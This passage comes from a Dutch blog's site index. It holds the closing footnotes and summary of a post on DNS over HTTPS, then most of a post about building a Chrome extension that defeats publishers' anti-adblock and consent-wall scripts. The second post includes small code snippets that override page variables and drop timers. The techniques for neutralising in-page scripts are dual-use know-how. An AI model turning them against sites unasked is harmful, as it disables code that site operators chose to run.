(TLS), mei 2016. De samenvatting: “This document describes the use of Transport Layer Security (TLS) to provide privacy for DNS. Encryption provided by TLS eliminates opportunities for eavesdropping and on-path tampering with DNS queries in the network.” Mede geschreven door P. Hoffman (ICANN), die ook RFC 8484 mede schreef. DoT gebruikt de speciale poort 853.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nPaul Hoffman (engineer) — “the author or co-author of over 80 Requests for Comments (RFCs)” en “currently a technologist at ICANN”; zijn IETF-datatracker-profiel somt de staat van dienst op, waaronder RFC 7858 (DoT), RFC 8484 (DoH) en RFC 8499 (DNS-terminologie).\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nBert Hubert (PowerDNS) — Centralised DoH is bad for Privacy, in 2019 and beyond, RIPE Labs. DNS werd “typically provided by the operator of a network”; gecentraliseerde DoH “by default” is “a net-negative for privacy for everyone”, want de derde partij “gets a complete log per device of all DNS queries, in a way that can even be tracked across IP addresses”.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nGoogle — DNS-over-HTTPS (DoH) — JSON API. Google Public DNS, een van de grootste publieke resolvers, draait een DoH-eindpunt (dns.google) naast Chromes eigen DoH-ondersteuning.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nChromium Blog — A safer and more private browsing experience with Secure DNS, mei 2020. “If you are an IT administrator, Chrome will disable Secure DNS if it detects a managed environment via the presence of one or more enterprise policies.”\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nTechCrunch — Internet group brands Mozilla \u0026lsquo;internet villain\u0026rsquo; for supporting DNS privacy feature, 5 juli 2019 (Wayback-momentopname). De ISPA-nominatie zei dat DoH “bypass UK filtering obligations and parental controls, undermining internet safety standards in the UK” zou; de nominatie en de categorie Internet Villain werden na verontwaardiging ingetrokken.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nWeb blocking in the United Kingdom — de lijst van beeldmateriaal van kindermisbruik van de Internet Watch Foundation en auteursrechtelijke bevelen onder section 97A van de Copyright, Designs and Patents Act 1988 worden door ISP\u0026rsquo;s uitgevoerd; “The technical measures used to block sites include DNS hijacking, DNS blocking, IP address blocking, and Deep packet inspection.”\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nUK Government — Online Safety Act: explainer. “The Online Safety Act 2023 [\u0026hellip;] puts a range of new duties on social media companies and search services”, met de “strongest protections [\u0026hellip;] designed for children”, waaronder eisen om te voorkomen dat kinderen schadelijke en voor hun leeftijd ongepaste inhoud bereiken; gehandhaafd door Ofcom.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCopyright Act 1968 (Australië), section 115A, “Injunctions relating to online locations outside Australia” — de Federale Rechtbank kan een carriage service provider gelasten “take reasonable steps to disable access to the online location”, de Australische vorm van sitesblokkering op ISP-niveau via DNS en IP.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nEDRi — Portugal: \u0026ldquo;Voluntary\u0026rdquo; agreement against copyright infringements. Onder een memorandum van overeenstemming uit 2015 brengen rechthebbenden MAPINET op de hoogte, dat doorstuurt naar de toezichthouder IGAC, en “IGAC then contacts Internet Service Providers (ISPs) to restrict access to the websites through \u0026lsquo;Domain Name System (DNS) blocking\u0026rsquo;” binnen 15 werkdagen, zonder rechterlijk bevel.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nTorrentFreak — Italy Fines Cloudflare €14 Million for Refusing to Filter Pirate Sites on Public 1.1.1.1 DNS. Onder Italië\u0026rsquo;s Piracy Shield gelastte AGCOM (bevel 49/25/CONS) DNS-aanbieders waaronder Cloudflares publieke resolver te blokkeren; Cloudflare noemde het “unreasonable and disproportionate”, weigerde en kreeg een boete van €14,247,698, waartegen het in beroep gaat.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nTorrentFreak — DNS Piracy Blocking Orders: Google, Cloudflare, and OpenDNS Respond Differently, 11 mei 2025. Onder Canal+-bevelen tegen sportstreaming in Frankrijk en België werd de publieke resolvers opgedragen te blokkeren: Cloudflare geeft een HTTP 451 terug, Google weigert de query in stilte, en OpenDNS “pulled the plug” op beide landen in plaats van te voldoen.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nTorrentFreak — Cloudflare Applauds Court for Rejecting DNS Piracy Blocking Order. In Universal Music v Cloudflare (de DDL-Music-zaak) had een lagere rechter Cloudflare gelast te blokkeren op zijn 1.1.1.1-resolver; het Oberlandesgericht Keulen weigerde de plicht uit te breiden naar de resolver, die “contributes to the connection of internet domains in a purely passive, automatic and neutral manner”.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nTorrentFreak — Dutch ISPs Must Block Pirate Bay Proxies and Mirrors Again, Court Rules, 15 oktober 2020. BREIN heeft een “dynamisch” blokkeerbevel tegen Ziggo, KPN en anderen; de rechter behandelt DNS-blokkering als een “clear and verifiable” maatregel, en nieuwe domeinen en proxy\u0026rsquo;s worden op verzoek aan de ISP-blokkeerlijst toegevoegd.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nComplete Music Update — OpenDNS pulls plug on France and Portugal after web-blocking injunctions. Cisco\u0026rsquo;s OpenDNS: “Due to a court order in France issued under the French Sport code and a court order in Portugal issued under the Portuguese Copyright Code, the OpenDNS service is not currently available to users in France [\u0026hellip;] and in Portugal.”\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nThe American Presidency Project — White House Fact Sheet: Directive to Prevent the Unfair Exploitation of American Innovation, 21 februari 2025. Het memorandum draagt de US Trade Representative op tarieven te overwegen als antwoord op de digitaledienstenbelastingen en -regels van andere landen, die van de EU en de VK inbegrepen, geframed als buitenlandse regeringen die zich “America\u0026rsquo;s tax base” toe-eigenen.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nA\u0026amp;O Shearman — FTC chairman warns major tech companies of censorship in EU DSA and UK Online Safety Act, over brieven van 21 augustus 2025: “Compliance with the requirements of non-US laws, such as the requirements in the EU Digital Services Act (DSA) and UK Online Safety Act, may result in companies censoring content”, waarvan de toezichthouder waarschuwt dat het in strijd kan zijn met de Amerikaanse wet.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 9462 — Discovery of Designated Resolvers (DDR), november 2023. Beschrijft hoe een client “a resolver\u0026rsquo;s encrypted DNS configuration” ontdekt en ernaar opwaardeert, door _dns.resolver.arpa te bevragen voor de Designated Resolver van het netwerk.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMozilla — Canary domain — use-application-dns.net. “The canary domain only applies to users who have DoH enabled as the default option. It does not apply for users who have made the choice to turn on DoH by themselves.” Een andere respons dan NOERROR met een A/AAAA-record — zoals NXDOMAIN of SERVFAIL — geeft Firefox het signaal om applicatie-DoH uit te schakelen.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nGoogle — DnsOverHttpsMode policy. Waarden off, automatic en secure; “If this policy is unset, for managed devices DNS-over-HTTPS queries will not be sent.”\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMozilla — Policy templates: DNSOverHTTPS. Enabled zet DoH aan of uit, ProviderURL stelt de resolver in, Locked “prevents the user from changing DNS over HTTPS preferences”, ExcludedDomains en Fallback stellen de rest af.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\ndibdot/DoH-IP-blocklists — een onderhouden lijst van de domeinnamen en opgeloste IPv4/IPv6-adressen van publieke DoH-servers, voor firewallblokkering; het opzoekscript “runs automatically every hour via GitHub actions” en werkt de adreslijsten bij wanneer ze veranderen. jameshas/Public-DoH-Lists is een tweede, automatisch gegenereerd equivalent. Dat deze moeten bestaan, en voortdurend opnieuw gescand worden, is het punt.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nNCSC — Protective Domain Name Service (PDNS). “PDNS was built to hamper the use of DNS for malware distribution and operation [\u0026hellip;] a recursive resolver which prevents access to domains known to be malicious.”\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","permalink":"https://blogs.damiendye.uk/nl/dns/dns-over-https-walks-past-your-controls/","summary":"DNS over HTTPS versleutelt je opzoekingen, wat goed is, en stuurt ze naar een resolver die de client kiest, op poort 443, en dat is het probleem. Je eigen resolver ziet het verzoek nooit, dus de blokkeerlijst die het had tegengehouden, het dreigingsoverzicht dat het had geraakt en de logregel die geschreven zou zijn, verdwijnen allemaal. Deze post loopt het mechanisme na: waarom één versleutelde webverbinding tussen duizenden onzichtbaar is aan de grens, wie op een machine een resolver kan kiezen die jij nooit koos (het OS, de browser, elke app, elk script op elke webpagina, en malware), en de gedocumenteerde gevallen, van het eigen JavaScript van een pagina dat een publieke DoH-resolver bevraagt die cross-origin-verzoeken toelaat, tot Godlua en PsiXBot die hun commandokanaal in DoH verbergen, tot de OilRig-APT die er data mee wegsluist. Daarna het betoog dat het privacyverhaal een dekmantel is: DNS over TLS versleutelde DNS al in 2016, op een poort die de netwerkbeheerder nog wel kan besturen, dus het enige dat DoH daaraan toevoegt is het verslaan van de beheerder, en dat is waarom de browserleveranciers die het schreven en uitrolden, en het advertentiebedrijf dat de grootste publieke DoH-resolver draait, degenen zijn die wonnen. Daarna de oplossing, en die is niet versleuteling verbieden. Draai je eigen DoH- en DoT-resolver, kondig hem aan met Discovery of Designated Resolvers, weiger poort 53, poort 853 en bekende publieke DoH-resolvers aan de grens, en beantwoord de Firefox-kanarie zodat de browser zich terugtrekt. Houd de versleuteling. Neem terug wie de resolver kiest. Hij sluit af met de nasleep: dezelfde op DNS gebaseerde handhaving loopt door heel Europa en in Australië, en rechtbanken in Italië, Frankrijk, België en Duitsland dragen nu de publieke resolvers zelf op te blokkeren, met Cloudflare beboet en in beroep, Google die in stilte weigert en OpenDNS die zichzelf uitzet voor hele landen. Het patroon eronder is een Amerikaans ontwerp opgelegd aan de wereld, en een Amerikaanse regering die de wetten van andere landen bestempelt als afpersing van Amerikaanse bedrijven en hen waarschuwt niet te voldoen.","title":"DNS over HTTPS Loopt Regelrecht Langs Je Controles"},{"content":"Je klikt op een link naar een lokale krant, en de kop laadt, dan de foto, dan de eerste drie alinea\u0026rsquo;s, en je bent al aan het lezen voordat er verder iets gebeurt. Dan wordt de pagina leeg. Of ze verandert in een hoop ongestylede links, met het logo uitgerekt over de hele breedte van het scherm. Of er schuift een kader omhoog dat je vraagt om tracking te accepteren of £2,99 per maand te betalen, zonder derde knop.\nHet artikel stond op jouw machine. De server van de uitgever had het al helemaal gestuurd, tekst en stylesheets, en je browser had het al getekend. Wat het wegnam, was code die de uitgever daarna koos te draaien, op jouw computer, ingekocht bij een commerciële leverancier wiens product bestaat uit terugnemen wat net geleverd is.\nThuis draai ik een Pi-hole1, die advertentie- en trackinghosts blokkeert voor elk apparaat op het netwerk. Op een groeiende lijst Britse nieuwssites was dat genoeg om de pagina te laten vernietigen. Dus bouwde ik op 22 september 2026 een Chrome-extensie om dat te stoppen, Keep The Page genaamd. De code staat op GitHub onder damo2929/browserplugin, met een MIT-licentie, en dit is wat ze doet, wat ik in die pagina\u0026rsquo;s vond tijdens het bouwen, en welke fixes het erger maakten voordat de juiste opdook.\nHet is geen paywall-omzeiling. Als de server het artikel nooit stuurde, tovert niets hier het tevoorschijn. De Times bleef dicht, en dat klopt. Wat ze bewaart, is wat je al toegestuurd kreeg.\nHet artikel komt binnen, en dan is het weg Van buitenaf werken ze allemaal hetzelfde. De HTML komt compleet binnen, en dan besluit een script, meestal geladen van een host van een leverancier in plaats van de krant, dat jij het niet waard bent om het te zien, en haalt het weg.\nWat het weghaalt, en hoe, hangt af van welke leverancier de uitgever kocht. Dit zijn de vier die ik tegenkwam, elk tijdens het bouwen van een echte pagina afgelezen:\nUitgever Wat binnenkomt Wat de pagina daarna met zichzelf doet Newsquest (269 titels)2 het hele artikel bouwt een muur, draait een eval-payload, opent een confirm()-dialoog notebookcheck.net het hele artikel verwijdert \u0026lt;body\u0026gt; na zo\u0026rsquo;n 7 seconden, dan dialogen, dan een herlaadlus National World (The Scotsman, Yorkshire Post)3 het artikel plus zo\u0026rsquo;n 68KB eigen CSS verwijdert elke 100ms elke \u0026lt;link\u0026gt; en \u0026lt;style\u0026gt;, voor altijd Reach plc (Mirror, Daily Record, Manchester Evening News, Liverpool Echo en anderen)4 het hele artikel dekt het af met “accepteer tracking of betaal £2,99/maand” De 269 komt niet uit een persbericht, dat spreekt van “meer dan 200 merken”. Het is het aantal domeinen op de eigen TLS-certificaten van Newsquest, de lijst die de extensie nodig had om te weten waar ze moest draaien.\nHet geval National World zou uitgevers het meest zorgen moeten baren, omdat het de pagina breekt om redenen die niets met advertenties te maken hebben. De stylesheet-stripper heeft een partner die de CSS terughaalt van de host van de leverancier. Mijn Pi-hole blokkeert die host. Dus liep het strippen, kwam het herstel nooit, en bleef de eigen opmaak van de krant permanent afhankelijk van de bereikbaarheid van een advertentieleverancier. Dat is geen muur. Dat is een uitgever die het uiterlijk van zijn eigen website aan een derde overlaat zonder het te merken.\nMag ik vragen waarom het stylesheet van een krant moet wachten op de server van een advertentiebedrijf voordat het op de pagina mag blijven? Voor de lezer is daar geen enkele reden voor. Geen.\nWaarom ik het malware noem Ik gebruik het woord bewust, als beschrijving van wat de code doet, en niet als juridisch oordeel over wie dan ook. De anti-adblock-payloads voldoen op vier punten aan de gewone betekenis, en elk punt is rechtstreeks waargenomen:\nCriterium Wat ik zag Draait zonder toestemming, tegen je belang in niemand vroeg erom, en zijn taak is je inhoud afnemen die je al hebt Vernietigt gegevens die je al geleverd kreeg het artikel en de CSS komen intact aan, dan verwijdert code in de pagina ze Versluierd tegen lezen gepermuteerde stringtabellen zoals o[293 * (r + 450) % e], uitgevoerd via eval Ontwijkt blokkering en straft ingrijpen af CNAME-cloaking om DNS-blokkeerlijsten te ontduiken, anti-tamper-controles die escaleren naar een dialoog of een herlaadlus De versluiering is geen minificatie. Geminificeerde code is klein. Dit is code die zo is ingericht dat je er niet met grep in kunt vinden wat ze doet, en de payload draait dan via eval, zodat niets op de schijf overeenkomt met wat er wordt uitgevoerd.\nDe cloaking is een bekende techniek met een eigen onderzoeksliteratuur5. De loader wordt opgehaald van iets dat eruitziet als een subdomein van de krant, en die naam verwijst naar de leverancier:\na02342.\u0026lt;publisher-domain\u0026gt; -\u0026gt; cdn-52-x.privacy-mgmt.com (Sourcepoint) fb.html-load.com -\u0026gt; adshield-fallback-dev-wskxz.b-cdn.net Het subdomein is per titel willekeurig. Een blokkeerlijst die hosts noemt kan dat dus niet bijhouden, en daar is het om te doen.\nEn de code behandelt elk ingrijpen als bewijs van schuld. De gedecodeerde foutmeldingen in de payload die beheerders van filterlijsten aan Ad-Shield toeschrijven6 luiden letterlijk Vital API blocked en Vital API blocked (eval). De loader van Sourcepoint schrijft een attribuut, leest het meteen terug en gooit een fout als de waarde veranderd is:\nz.call(O,\u0026#39;src\u0026#39;,G), O[x](\u0026#39;src\u0026#39;) !== G \u0026amp;\u0026amp; throw E … catch (W) { try { await l(W) } catch (x) { o(W) } } // o() raises the dialog Sourcepoint heeft dit openlijk verkocht. In de eigen documentatie stond “on average about 30% of messaged users will turn off their adblockers”7. Ik beschrijf dus geen schurkenscript dat iemand erin smokkelde. Het is een product, door de uitgever gekocht en bewust ingezet.\nDe consent-or-pay-muren zijn een andere categorie, en die noem ik geen malware. Ze vernietigen niet wat geleverd is en verstoppen zich niet voor blokkeerlijsten. Ze dwingen op een andere manier, en daar gaat de volgende sectie over.\nAccepteer 1.467 partners of betaal £2,99 De muur op de titels van Reach is Quantcast Choice, tegenwoordig gerund door InMobi8 en geserveerd vanaf cmp.inmobi.com. Hij geeft twee keuzes. Accepteren, of £2,99 per maand betalen. Een gratis “nee” is er niet.\nAccepteren deelt je gegevens met 1.467 vermelde partners en schrijft een euconsent-v2-cookie dat 13 maanden meegaat. Niemand leest een lijst van 1.467 bedrijven, niemand zou kunnen afwegen wat elk van hen met de gegevens zou doen als je hem wel las, en het getal alleen vertelt je al wat voor toestemming er gevraagd wordt.\nDe Britse AVG zegt dat toestemming vrijelijk gegeven moet zijn, en dat je bij het beoordelen daarvan kijkt of de dienst afhankelijk is gemaakt van toestemming voor verwerking die hij niet nodig heeft9. De ICO heeft richtsnoeren gepubliceerd die zeggen dat consent or pay rechtmatig kan zijn10, richtsnoeren die ze nu herzien noemt, en het Europees Comité voor gegevensbescherming heeft gezegd dat het voor grote platforms die alleen die twee opties bieden in de meeste gevallen niet rechtmatig zal zijn11. Ik ga niet doen alsof de toezichthouder het verboden heeft. Dat heeft ze niet.\nDus hier kom ik uit, gewoon eerlijk. Ik koos ervoor de muur weg te halen en de toestemming te weigeren. Dat betekent dat ik het artikel lees op de gratis tak, zonder te betalen en zonder mijn gegevens aan 1.467 bedrijven te geven. Het is een beslissing. De extensie zegt dat op haar eigen instellingenpagina, en ik vermom het niet als iets neutraals. Een toestemming die je niet kunt weigeren is een prijs, en ik betaal geen prijs die vermomd is als vraag.\nHet kader weghalen is het makkelijke derde deel. De andere twee derde staan in De toestemmingsvraag goed beantwoorden, want een banner die je verwijdert zonder te antwoorden komt elke keer terug.\nEén dag, acht commits Het geheel is op één dag gebouwd. Eerst een paar uur in pagina\u0026rsquo;s porren voordat er iets gecommit werd, daarna acht commits tussen 20:32 en 22:50. Ik bouwde het met Claude Code, en veel van het zware werk, versluierd inline-script regel voor regel lezen, deed de agent terwijl ik keek wat de pagina\u0026rsquo;s op het scherm deden. Die taakverdeling werkte goed, en waar het misging staat hieronder, want het ging mis op een manier die je moet kennen.\nTijd Commit 20:32 eerste commit: Newsquest, notebookcheck, National World, Reach, Page Six 20:46 de leverancier achter elk mechanisme, in de README gezet 20:56 50 links van de voorpagina van Google News, als niet-gekozen steekproef 21:02 de consent-API beantwoorden met elk doel geweigerd 21:11 sociale links onschadelijk gemaakt 22:50 uitschakelbare beschermingen, MSN en Bing, weigeren per klik, 77 tests Het is een Manifest V3-extensie met twee rechten, declarativeNetRequest en storage, zonder hostrechten en zonder eigen netwerktoegang, dus ze kan niets ophalen, geen antwoord herschrijven en met geen enkele server namens jou praten. Die beperking heeft het ontwerp meer gevormd dan wat ook, omdat het interessante werk binnen de pagina moet gebeuren.\nTwee werelden, één attribuut omlaag en één event omhoog De code van de pagina en de instellingen van de extensie leven in verschillende werelden Opslag van de extensie chrome.storage.local beschermingen tracingkanalen sociale instellingen laatste 50 fouten gelezen en geschreven door de instellingenpagina Geïsoleerde wereld bridge.js social.js portal.js kan chrome.storage lezen kan de functies van de pagina niet aanraken Wereld van de pagina (MAIN) walls.js guard.js portal-early.js omhult setTimeout, cookie, __tcfapi, window.adLight helemaal geen chrome.* Omlaag: een attribuut op het html-element, alleen wat uit staat \u0026lt;html data-ktp-off=\"cookies,dom\"\u0026gt; standaardinstallatie: niets geschreven Omhoog: een ktp-report-event detail: een JSON-string een object komt niet betrouwbaar over Chrome draait extensiescripts in twee werelden. De wereld van de pagina bereikt het eigen JavaScript van de pagina, maar heeft geen extensie-API\u0026rsquo;s. De geïsoleerde wereld kan instellingen lezen, maar kan de functies van de pagina niet aanraken. Alles gaat ertussen heen en weer als een attribuut naar beneden en een event naar boven. De MAIN-wereld van Chrome deelt de JavaScript-omgeving van de pagina12. Een script daar kan setTimeout vervangen, document.cookie omhullen of window.adLight definiëren voordat de pagina dat doet, en precies dat heb je nodig om deze muren te bestrijden. In de praktijk kan het chrome.storage niet aanroepen. De geïsoleerde wereld kan dat wel, maar ziet de functies van de pagina niet. Dus leest een kleine brug de instellingen en schrijft ze op \u0026lt;html\u0026gt;, en fouten komen terug als een CustomEvent waarvan het detail een JSON-string is, omdat een object die grens niet betrouwbaar oversteekt.\nHet attribuut naar beneden noemt alleen wat je hebt uitgezet. Een standaardinstallatie schrijft helemaal niets in de pagina. Dat telt, omdat een permanente markering op \u0026lt;html\u0026gt; precies het soort ding is waar deze SDK\u0026rsquo;s naar zoeken, en omdat een opslagfout dan faalt richting het verdedigen van de pagina in plaats van ervan af.\nVind de poort, vecht niet tegen de muur De Newsquest-fix is twee regels redeneren, en daaraan werd al het andere afgemeten.\nHun hele muur hangt aan één vlag in de pagina:\nvar adLight = false; // line 1647 if (adLight !== true) { …} // line 2020: loader, eval payload, confirm() adLight is de abonneevlag voor “weinig advertenties”. Is die waar, dan wordt de muur nooit gebouwd. Dus definieert de extensie window.adLight bij document_start als true, voordat het eigen script van de pagina draait, met een setter die negeert wat erin geschreven wordt:\nObject.defineProperty(window, \u0026#39;adLight\u0026#39;, { configurable: false, enumerable: true, get() { return true; }, set() { /* ignore the page\u0026#39;s \u0026#34;false\u0026#34; */ } }); Een var bovenaan een script definieert een eigenschap die het globale object al heeft niet opnieuw. Het kent er alleen een waarde aan toe13. Dus de eigen var adLight = false van de pagina draait, belandt in de setter en doet niets. De loader van de muur start nooit, de eval-payload komt nooit aan, en er is geen anti-tamper-controle om af te laten gaan, want er is aan niets geknoeid. De vlag zei gewoon ja.\nDat is de enige eigenschap in de hele extensie die niet configureerbaar is. Dat moet, om de declaratie te overleven. Al het andere is configurable: true, zodat geen pagina ooit een van haar eigen API\u0026rsquo;s voorgoed kwijtraakt.\nHet dekt 269 titels en is in de instellingen niet uit te zetten, en die zeggen ook waarom: het draait voordat chrome.storage kan antwoorden, en eenmaal gezet is het niet terug te draaien. Een selectievakje zou versiering zijn.\nElke fix die het erger maakte Dit is de nuttige sectie, want elke fout hier is het voor de hand liggende dat je probeert.\nWat ik probeerde Wat er gebeurde De host van de loader blokkeren de host is per titel een willekeurige first-party-CNAME, en een mislukte fetch is zelf het detectiesignaal setAttribute bewaken op geïnjecteerde scripts activeerde de terugleescontrole van Sourcepoint, die juist de dialoog opende die het moest tegenhouden De confirm() met Annuleren beantwoorden in deze SDK betekent Annuleren herladen, dus een eindeloze herlaadlus \u0026lt;body\u0026gt; bij DOMContentLoaded vastleggen om later te herstellen de muur maakt de pagina al tijdens het parsen leeg, dus de momentopname was van een lege body remove() en removeChild() bewaken de muur ruimt de pagina op met één innerHTML = '', niet knoop voor knoop Alles tegelijk bewaken op notebookcheck de muur escaleerde naar een dialoog en daarna een herlaadlus, duidelijk erger dan niets doen De host van de leverancier omleiden naar een lokale stub een redirect-regel met alleen declarativeNetRequest maakte de hele regelset ongeldig en doodde stil de Newsquest-regel op 269 sites De paginabewakers op elke site draaien patchte globale prototypes op elke pagina die ik bezocht, ook die van mijn bank De omleiding verdient een tweede blik. Chrome geeft een block-regel impliciete toegang en wil voor alles daarboven een hostrecht14. De documentatie zegt dat ongeldige statische regels genegeerd worden15. Wat ik zag was erger: het hele bestand was weg, zonder enige fout op de pagina, en regel 1 bestond op 269 sites gewoon niet meer. De twee regels voor MSN staan daarom nu in een eigen regelset, zodat een slechte wijziging aan de ene de andere niet meesleurt.\nDe herlaadlus leerde de andere harde regel. location.reload is niet te onderscheppen. Het Location-object is in de HTML-standaard onvervalsbaar16, dus zijn methoden zijn niet schrijfbaar en niet configureerbaar, en proberen levert op:\nObject.defineProperty(location,\u0026#39;reload\u0026#39;,...) -\u0026gt; TypeError: Cannot redefine property: reload Een muur waarvan het foutpad “herlaad de pagina” is, valt niet meer te stoppen zodra hij op dat pad zit. Door niets. De enige fix is zorgen dat hij daar nooit komt. Dat is dezelfde les als bij adLight, op de pijnlijke manier geleerd: elke poging om een al draaiende muur te bestrijden maakte het erger, en elke fix die werkte hield de muur tegen voordat hij begon.\nEén timer richtte de schade aan notebookcheck heeft geen adLight. De muur draait altijd. Met tracing aan liet de extensie zien wat hij inplande:\ndropped setTimeout(7005ms) scheduled from eval \u0026lt;- the body.remove() dropped setTimeout(1251ms) / 105ms / 0ms x8 dropped setInterval(15000ms) Eén van die timers richt alle schade aan: die na 7 seconden die \u0026lt;body\u0026gt; verwijdert. Alles daarna is reactie, want de lege pagina gooit een fout, de exceptie opent de dialoog, de dialoog herlaadt de pagina, en het hele ding begint van voren af aan met een nieuwe set timers.\nDus de fix is één regel. Laat een timer vallen als hij vanuit eval-code is ingepland, de pagina de handtekening van deze SDK draagt en de handler een functie is. De stack vertelt waar een aanroep vandaan kwam, en eval laat daarin zijn spoor na.\nbefore: 4 page loads, 3 confirms, reload loop after: 1 page load, 0 confirms, alive 40,378ms, content intact Eén timer, en alles wat eruit volgt notebookcheck: één timer richt de schade aan, de rest is reactie Zoals geserveerd artikel en CSS binnen, getekend loader van html-load.com eval-payload plant timers 7,0s: timer loopt af body.remove() lege pagina gooit, confirm() geopend pagina herlaadt en begint opnieuw 4 keer laden, 3 dialogen, herlaadlus Met de extensie artikel en CSS binnen, getekend loader van html-load.com eval-payload plant timers elke eval-timer meteen geschrapt 1 keer laden, 0 dialogen, na 40 seconden in leven notebookcheck zonder en met de extensie. Niets na de timer van 7 seconden hoeft gerepareerd te worden, want niets daarvan gebeurt als die timer eenmaal gevallen is. Er zaten op dat moment nog twee andere mechanismen in de build, een omleiding van de loader naar een stub en een lokelement om de schrijfacties van de muur op te vangen. Allebei werkten ze, en allebei behandelden ze symptomen van die ene timer, wat pas duidelijk werd toen de timerregel alleen getest werd en op zichzelf genoeg bleek. Dus gingen ze er allebei uit, en daarmee verdwenen een recht en elk hostrecht. Test altijd of de laatste wijziging alleen het werk doet voordat je de steigers eromheen laat staan.\nDe handtekening is het data-sdk-attribuut op de loadertag, en die past op een vorm, l/\u0026lt;n\u0026gt;.\u0026lt;n\u0026gt;, in plaats van op een versie. Op één dag doken er drie versies op. Ze klikt vast en onthoudt nooit een negatief, omdat de loadertag misschien nog niet geparst is als de eerste timers worden ingepland, en een onthouden “nee” zou haar op een pagina die de muur wel draagt voorgoed ontwapenen.\nDe meting zei goed. Het scherm niet. The Scotsman en de Yorkshire Post golden als gerepareerd op basis van een meting die tekst telde. De pagina had er 8.808 tekens van, 22 elementen onder \u0026lt;body\u0026gt;, stabiel na 2, 8 en 16 seconden. Volgens die maatstaf was ze intact.\nDat was ze niet. Ik keek ernaar, en elk stylesheet was weg, de links waren een kale lijst, het SVG-logo vulde het scherm en er was een horizontale schuifbalk. Alle woorden waren er, en meer kon die meting niet zien. Ik moest naar het scherm wijzen en het zeggen.\nWat de meting mat, en wat er op het scherm stond Yorkshire Post vóór de fix: dezelfde pagina, op twee manieren gemeten Wat de meting mat innerText.length8.808 kinderen van body22 na 2s, 8s, 16songewijzigd Oordeel: intact Wat er op het scherm stond document.styleSheets.length0 links als kale lijst, logo volle breedte, een horizontale schuifbalk Oordeel: kapot Stripper geschrapt bij het inplannen: 2 stylesheets, 532 regels, de pagina wordt weergegeven Dezelfde pagina, op twee manieren gemeten. De tekstlengte zei dat de pagina gezond was. Het aantal stylesheets zei dat ze kapot was, en het aantal stylesheets had gelijk. De oorzaak was de stripper uit de eerste tabel, en die paste niet op de timerregel, omdat het een gewoon inline-script is en geen eval. Dus is zijn eigen broncode de handtekening: een herhaalde taak waarvan de body querySelectorAll('link,style') en daarna remove() aanroept. Niets legitiems doet dat. Hij wordt bij het inplannen al geschrapt, er wordt nooit iets gestript en er hoeft niets hersteld te worden. De Yorkshire Post ging van 0 stylesheets naar 2, met 532 regels, en de pagina werd weergegeven.\nOm hem te vinden was een stacktrace nodig, geen gok. Patch Element.prototype.remove zodat het de stack logt telkens als het een STYLE of LINK verwijdert, en het noemde het inline-script en de forEach bij de eerste poging.\nDaarna ging document.styleSheets.length in elke controle. Een pagina zonder stylesheets is kapot, hoeveel tekst ze ook heeft. Meten is lastiger dan je denkt, en dit zijn de valkuilen waar de build die dag in trapte:\nValkuil Wat die zei Wat klopte tekstlengte als rendercontrole “intact” ongestylede markup één meting na het laden Reach-muren “niet aanwezig” op acht titels de muur leeft zo\u0026rsquo;n 600ms en was al opgeruimd lege console na navigatie “de bewaker vuurt niet” meldingen tijdens het laden overleven de navigatie niet metingen na 1s en 4s notebookcheck gezond de pagina wordt leeg na 5 tot 8 seconden cssRules over origins heen geteld ESPN had 5 regels stylesheets van andere origins gooien een fout, dus de telling valt laag uit De fix voor het geval van 600ms is elke 100ms peilen vanaf het moment dat de pagina laadt. Op Wales Online verscheen de muur na 425ms en was hij na 1.129ms weg.\nDaarna werden de controles echt gedraaid. 52 artikelen op 26 domeinen, twee per site, gekozen om elk mechanisme te dekken: 52 van de 52 met stylesheets, geen muur op het scherm achtergebleven, geen herlaadlussen. Daarna 50 links rechtstreeks van de Britse voorpagina van Google News, niet door mij gekozen: 45 normaal weergegeven, 2 waren hosts die mijn Pi-hole bewust blokkeert, 1 was de echte paywall van de Times, en 2 waren hetzelfde artikel dat twee keer landde omdat Google de volgorde van de links bij elke keer laden opnieuw opbouwt. Geen enkele met nul stylesheets. Drie titels van National World die ik nooit getest had doken in die ronde op met dezelfde SDK, en alle drie werden ze weergegeven, en daarvoor pas je op een vorm in plaats van op een lijst sites.\nEr zijn 77 unittests, in de repository met al het andere. Er is geen Node op deze machine, dus ze draaien op gjs, en ze laden de echte walls.js tegen een vervangende DOM, zodat de patronen uit productie getest worden. Elke test is gecontroleerd door te breken wat hij bewaakt en te kijken hoe hij rood wordt. Ze testen alleen beslissingen. Dat ze slagen betekent niet dat een pagina rendert, en de Scotsman is de reden dat die zin in de README staat.\nDe toestemmingsvraag goed beantwoorden Een consentbanner verwijderen laat de vraag onbeantwoord. Dat heeft twee gevolgen, en het eerste is dat de banner bij elke keer laden opnieuw wordt opgebouwd. En een uitgever die zijn inhoud tegenhoudt tot de consent-API antwoordt, blijft gewoon hangen, terwijl een leverancier die geen antwoord krijgt de vraag als nooit gesteld kan behandelen. Zwijgen is geen weigering.\nDus beantwoordt de extensie haar, in deze volgorde:\nWeigeren, nee zeggen, niets opslaan, en pas dan verwijderen Een consentbanner wordt beantwoord, niet alleen verwijderd Container van een consentleverancier in beeld #qc-cmp2-container #onetrust-consent-sdk sp_message_container 1. Hun weigering indrukken Reject all, Decline, Only essential, 